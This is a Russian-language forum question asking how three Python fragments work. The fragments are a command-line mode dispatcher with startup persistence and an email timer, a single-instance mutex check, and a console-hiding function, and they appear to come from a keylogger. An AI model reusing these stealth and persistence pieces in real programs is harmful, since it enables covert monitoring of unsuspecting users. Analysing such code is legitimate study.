Помогите понять как работает данный участок кода
def main(): global x if len(sys.argv)==1: msg() exit(0) else: if len(sys.argv)>2: if sys.argv[2]=="startup": addStartup() else: msg() exit(0) if sys.argv[1]=="lololo": x=1 hide() elif sys.argv[1]=="rerere": x=2 hide() elif sys.argv[1]=="pochtarus": hide() email=TimerClass() email.start() elif sys.argv[1]=="fedya": x=4 hide() else: msg() exit(0) return True if __name__ == '__main__': main()
—————————————————————
Эта часть кода запрещает запуск программы два раза подряд (параллельно)?
#Disallowing Multiple Instance mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz') if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: mutex = None print "Multiple Instance not Allowed" exit(0) x='' data='' count=0
—————————————————————-
Эта часть просто прячет консоль?
#Hide Console def hide(): import win32console,win32gui window = win32console.GetConsoleWindow() win32gui.ShowWindow(window,0) return True